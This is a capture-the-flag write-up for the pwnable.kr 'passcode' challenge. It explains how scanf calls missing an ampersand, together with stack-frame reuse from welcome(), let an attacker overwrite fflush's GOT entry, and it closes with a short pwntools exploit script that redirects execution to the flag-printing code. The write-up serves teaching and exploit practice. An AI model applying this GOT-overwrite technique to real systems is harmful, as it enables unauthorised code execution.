Challenge Description
Mommy told me to make a passcode based login system. My first trial C implementation compiled without any error! Well, there were some compiler warnings, but who cares about that?
Analysis
I was given two files, elf and .c
because we have the source code, let’s check it first.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
The pass is written hardcoded, i curious what will happen if i input them
◄ 0s ◎ ./passcode □ pwnablekr/passcode ℂ v16.1.1-gcc py ⌉⌊ 3.14.6 00:54
Toddler's Secure Login System 1.1 beta.
enter you name : a
Welcome a!
enter passcode1 : 338150
enter passcode2 : 13371337
fish: Job 1, './passcode' terminated by signal SIGSEGV (Address boundary error)
of course its not that easy… but the error message quite useful, it return SIGSEGV, mean I corrupt the memory address somehow, so let’s crosscheck the login section in .c
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
just realize the & is missing in second argument, fyi if you write scanf(%d, var) the program will consider the value inside var is an address, then computer gonna write the input from user to that random memory address inside the var variable
so… i think i may can overwrite spesific address in this chall, need to analyze the binary itself for that.
◄ 0s ◎ r2 -AA -d passcode □ pwnablekr/passcode ℂ v16.1.1-gcc py ⌉⌊ 3.14.6 01:13
INFO: glibc.fc_offset = 0x00148
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Running plugin pre-analysis hooks
WARN: Variable 'anal.plugins.pre' not found
INFO: Analyze all functions arguments/locals (afva@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Skipping type matching analysis in debugger mode (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable types.constraint for experimental type propagation
INFO: Running plugin post-analysis hooks
-- I love the smell of bugs in the morning.
[0xf7f7c6e0]> iI
arch x86
baddr 0x8048000
binsz 14072
bintype elf
bits 32
canary true
injprot false
class ELF32
compiler GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum false
lsyms true
machine Intel 80386
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
uncaps true
subsys linux
va true
[0xf7f7c6e0]>
yeah, pie is disabled and partial relro, should be possible to overwrite the memory address if there’s a flaw other than missing ampersand
as always, I’ll check for overflow first
[0xf7fdc6e0]> ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABB[0xf7fdc6e0]> dc
Toddler's Secure Login System 1.1 beta.
enter you name : AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABB
Welcome AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh!
enter passcode1 : enter passcode2 : checking...
Login Failed!
(118133) Process exited with status=0x0
[0xf7fba22c]> dr
eax = 0xffffffda
ebx = 0x00000000
ecx = 0xffffffd0
edx = 0x00000000
esi = 0xf7f5a420
edi = 0xf7f5b3a8
esp = 0xff9a6198
ebp = 0xf7f5b3c0
eip = 0xf7fba22c
eflags = 0x00000282
oeax = 0x000000fc
[0xf7fba22c]>
hmm.. nothing interesting, let’s analyze further, I’ll decompile this.
[0xf7fba22c]> pdga @sym.welcome
0x080492f2 push ebp |
0x080492f2 push ebp |//WARNING: Variable defined which should be unmapped: var_4h
|
0x080492f2 push ebp |void sym.welcome(void)
|
|{
| int unaff_EBX;
| int in_GS_OFFSET;
| int32_t var_70h;
| int32_t var_ch;
| int32_t var_4h;
|
0x080492f9 call sym.__x86.get_pc_thunk. | sym.__x86.get_pc_thunk.bx();
0x08049304 mov eax, dword gs:[0x14] | var_ch = *(in_GS_OFFSET + 0x14);
0x08049319 call sym.imp.printf | sym.imp.printf(unaff_EBX + 0xd65);
0x0804932f call sym.imp.__isoc99_scanf | sym.imp.__isoc99_scanf(unaff_EBX + 0xd77,&var_70h);
0x08049345 call sym.imp.printf | sym.imp.printf(unaff_EBX + 0xd7d);
0x08049358 je 0x804935f | if (var_ch != *(in_GS_OFFSET + 0x14)) {
0x0804935a call sym.__stack_chk_fail_lo | //WARNING: Subroutine does not return
0x0804935a call sym.__stack_chk_fail_lo | sym.__stack_chk_fail_local();
| }
0x08049363 ret | return;
|}
|
[0xf7fba22c]> pdga @sym.login
0x080491f6 push ebp |
0x080491f6 push ebp |//WARNING: Variable defined which should be unmapped: var_8h
|
0x080491f6 push ebp |void sym.login(void)
|
|{
| uint uVar1;
| uint uVar2;
| int unaff_EBX;
| int32_t var_10h;
| int32_t var_ch;
| int32_t var_8h;
|
0x080491fe call sym.__x86.get_pc_thunk. | sym.__x86.get_pc_thunk.bx();
0x08049213 call sym.imp.printf | sym.imp.printf(unaff_EBX + 0xe05);
0x08049228 call sym.imp.__isoc99_scanf | sym.imp.__isoc99_scanf(unaff_EBX + 0xe18,var_10h);
0x08049236 mov eax, dword [eax] | sym.imp.fflush(**(unaff_EBX + 0x2df9));
0x0804924e call sym.imp.printf | sym.imp.printf(unaff_EBX + 0xe1b);
0x08049263 call sym.imp.__isoc99_scanf | sym.imp.__isoc99_scanf(unaff_EBX + 0xe18,var_ch);
0x08049275 call sym.imp.puts | sym.imp.puts(unaff_EBX + 0xe2e);
0x0804928d jne 0x80492ce | if ((var_10h == 0x528e6) && (var_ch == 0xcc07c9)) {
0x08049299 call sym.imp.puts | sym.imp.puts(unaff_EBX + 0xe3a);
0x080492a1 call sym.imp.getegid | uVar1 = sym.imp.getegid();
0x080492a8 call sym.imp.getegid | uVar2 = sym.imp.getegid();
0x080492b2 call sym.imp.setregid | sym.imp.setregid(uVar2,uVar1);
0x080492c4 call sym.imp.system | sym.imp.system(unaff_EBX + 0xe44);
0x080492f1 ret | return;
| }
0x080492d8 call sym.imp.puts | sym.imp.puts(unaff_EBX + 0xe52);
0x080492e5 call sym.imp.exit | //WARNING: Subroutine does not return
0x080492e5 call sym.imp.exit | sym.imp.exit(0);
|}
|
notice welcome is returned before login get called? that behaviour may can lead to stack frame reuse, because the stack frame used by welcome() is later reused by login(), the last few bytes of the name buffer overlap with the memory that will later hold passcode1. By supplying a sufficiently long input, I can control the initial value of passcode1. Since scanf(“%d”, passcode1) treats that value as a pointer, I can control the address that scanf will write to.
look at the highlighted code, you can see the name variable is -0x70 from ebp and passcode1 -0x10 from ebp, to calculate how many byte needed to reach passcode 1, you can substract 0x70 with 0x10, so we need 96 byte to reach passcode1 from name variable
we know from the source code that i can input 100 byte, so reach passcode1 is possible
The memory is never zeroed by cpu
welcome func() | input A*100 | welcome return |start login()
+---------------+ |+------------------+ |+----------------+ |+-----------------+
eip (4 byte) |eip (4byte) |eip (4byte) |eip (4byte)
+---------------+ |+------------------+ |+----------------+ |+-----------------+
ebp (4 byte) |ebp (4byte) |ebp (4byte) |ebp (4byte)
+---------------+ |+------------------+ |+----------------+ |+-----------------+
|A <- last input |A |A <- ebp(-0x10) <- passcode1 location
|A |A |A
|A |A |A
|A |A |A
|A |A |A (stack get reused)
|A |A |A
|A |A |A
|A |A |A
|A |A |A
esp (0x70byte) |A <- first input |A |A
+---------------+ |+------------------+ |+-----------+ <- return here |+------------------+
but what if we don’t have the source code? how could we determine the maximum input length?
first you need to put break point on the address where scanf is called and run the program until it reach the break point, so the length will stored in unaff_EBX + 0xd77, then to know what inside unaff_EBX + 0xd77 radare2 already has a build-in command for that
? unaff_EBX + 0xd77 to see the exact hex address
ps @hexAddress to know what inside the address in string format
[0x08049319]> ? ebx - 0x1f8b
int32 134520949
uint32 134520949
hex 0x804a075
octal 01001120165
unit 128.3M
segment 804000:a075
string "u\xa0\x04\b"
fvalue 134520949.0
float 0.000000000000000f
double 0.000000000000000
binary 0b00001000000001001010000001110101
base36 0_283911
ternary 0t100101010101001101
[0x08049319]> ps @0x804a075
%100s
So because now we know how much the length is, let’s continue to check if we can really overflow the var_10h in login function
[0x08049319]> dc
enter you name : AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
Welcome AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh!
"breakon vuln scanf"
[0x08049228]> pxw 16 @ebp-0x10
0xffd1a498 0x68414167 0xe4433a00 0x0804c000 0xf7f22e2c gAAh.:C.....,...
[0x08049228]> ragg2 -q 0x68414167
Little endian: 96
Big endian: -1
[0x08049228]>
from the highlighted line, its verify we can reach var_10h
remember how scanf work if the second argument missing ampersand? we’ll exploit that to reach the system call and get the flag, but how can we exploit that?
Exploiting the vulnerable scanf
if scanf missing ampersand, the scanf will consider value inside the variable as memory address where it will store the given input.
so if passcode1 has the address where program will use to jump, then input the jump address with the system call address, we can get the flag!
let’s see what section in this binary where we have write permission
[0x08049228]> iS
nth paddr size vaddr vsize perm flags type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- 0x0 NULL
1 0x00000194 0x13 0x08048194 0x13 -r-- 0x2 PROGBITS .interp
2 0x000001a8 0x24 0x080481a8 0x24 -r-- 0x2 NOTE .note.gnu.build-id
3 0x000001cc 0x20 0x080481cc 0x20 -r-- 0x2 NOTE .note.ABI-tag
4 0x000001ec 0x24 0x080481ec 0x24 -r-- 0x2 GNU_HASH .gnu.hash
5 0x00000210 0xf0 0x08048210 0xf0 -r-- 0x2 DYNSYM .dynsym
6 0x00000300 0xc0 0x08048300 0xc0 -r-- 0x2 STRTAB .dynstr
7 0x000003c0 0x1e 0x080483c0 0x1e -r-- 0x2 GNU_VERSYM .gnu.version
8 0x000003e0 0x50 0x080483e0 0x50 -r-- 0x2 GNU_VERNEED .gnu.version_r
9 0x00000430 0x10 0x08048430 0x10 -r-- 0x2 REL .rel.dyn
10 0x00000440 0x50 0x08048440 0x50 -r-- 0x42 REL .rel.plt
11 0x00001000 0x24 0x08049000 0x24 -r-x 0x6 PROGBITS .init
12 0x00001030 0xb0 0x08049030 0xb0 -r-x 0x6 PROGBITS .plt
13 0x000010e0 0x2f8 0x080490e0 0x2f8 -r-x 0x6 PROGBITS .text
14 0x000013d8 0x18 0x080493d8 0x18 -r-x 0x6 PROGBITS .fini
15 0x00002000 0xe7 0x0804a000 0xe7 -r-- 0x2 PROGBITS .rodata
16 0x000020e8 0x44 0x0804a0e8 0x44 -r-- 0x2 PROGBITS .eh_frame_hdr
17 0x0000212c 0x104 0x0804a12c 0x104 -r-- 0x2 PROGBITS .eh_frame
18 0x00002f08 0x4 0x0804bf08 0x4 -rw- 0x3 INIT_ARRAY .init_array
19 0x00002f0c 0x4 0x0804bf0c 0x4 -rw- 0x3 FINI_ARRAY .fini_array
20 0x00002f10 0xe8 0x0804bf10 0xe8 -rw- 0x3 DYNAMIC .dynamic
21 0x00002ff8 0x8 0x0804bff8 0x8 -rw- 0x3 PROGBITS .got
22 0x00003000 0x34 0x0804c000 0x34 -rw- 0x3 PROGBITS .got.plt
23 0x00003034 0x8 0x0804c034 0x8 -rw- 0x3 PROGBITS .data
24 0x0000303c 0x0 0x0804c03c 0x4 -rw- 0x3 NOBITS .bss
25 0x0000303c 0x2b 0x00000000 0x2b ---- 0x30 PROGBITS .comment
26 0x00003068 0x300 0x00000000 0x300 ---- 0x0 SYMTAB .symtab
27 0x00003368 0x28f 0x00000000 0x28f ---- 0x0 STRTAB .strtab
28 0x000035f7 0x101 0x00000000 0x101 ---- 0x0 STRTAB .shstrtab
from the highlighted line, the best candidate for overwrite is .got.plt, why?
Global Offset Table or known as GOT is a section where the absolute memory addresses of external symbols*(like imported functions)* are stored.
here how it works. programmer import function from external source -> the program use .plt, dynamic addressing for the function used, often unwriteable -> .plt has .got where absolute address of imported function stored, program will jump to this address and run the function
if we somehow can overwrite the GOT address inside .plt function, we can jump to the address we write, and from the code below, the nearest function will be called is fflush(), so our objective now is overwrite the got address of fflush inside the .plt section, usually located in the very first line of .plt
0x08049228 b e8a3feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format, ...)
│ 0x0804922d 83c410 add esp, 0x10
│ 0x08049230 8b83fcffffff mov eax, dword [ebx - 4]
│ 0x08049236 8b00 mov eax, dword [eax]
│ 0x08049238 83ec0c sub esp, 0xc
│ 0x0804923b 50 push eax
│ 0x0804923c e81ffeffff call sym.imp.fflush ; int fflush(FILE *stream)
next we need to know which address fflush.plt is, and extract the very first line of fflush.plt section to get the got address
[0x08049228]> ii | grep fflush
3 0x08049060 GLOBAL FUNC fflush
[0x08049228]> pd 1 @0x08049060
; CALL XREF from sym.login @ 0x804923c(x)
┌ 6: int sym.imp.fflush (FILE *stream);
└ 0x08049060 ff2514c00408 jmp dword [__stack_chk_fail] ; 0x804c014
From the code above we successfully extract the got address of fflush(), 0x804c014
The last thing we need now is the address to jump
0x0804924e call sym.imp.printf | sym.imp.printf(unaff_EBX + 0xe1b);
0x08049263 call sym.imp.__isoc99_scanf | sym.imp.__isoc99_scanf(unaff_EBX + 0xe18,var_ch);
0x08049275 call sym.imp.puts | sym.imp.puts(unaff_EBX + 0xe2e);
0x0804928d jne 0x80492ce | if ((var_10h == 0x528e6) && (var_ch == 0xcc07c9)) {
0x08049299 call sym.imp.puts | sym.imp.puts(unaff_EBX + 0xe3a);
0x080492a1 call sym.imp.getegid | uVar1 = sym.imp.getegid();
0x080492a8 call sym.imp.getegid | uVar2 = sym.imp.getegid();
0x080492b2 call sym.imp.setregid | sym.imp.setregid(uVar2,uVar1);
0x080492c4 call sym.imp.system | sym.imp.system(unaff_EBX + 0xe44);
0x080492f1 ret | return;
| }
from code above the best address to jump is 0x08049299, more spesifically 134517401 because the scanf() want the input in decimal, why not jump directly to the system call?, because system() not the only thing we need here, the flag need root permission to read, so we also need setregid() to get our shell root privilege.
from pwn import *
sh = ssh("passcode", "pwnable.kr", 2222, "guest")
io = sh.shell("./passcode")
payload = b"a"*96
payload += p32(0x0804c014)
payload2 = b"134517401"
io.sendline(payload)
io.sendline(payload2)
print(io.recvall(3))
the code above is the exploit used for getting the flag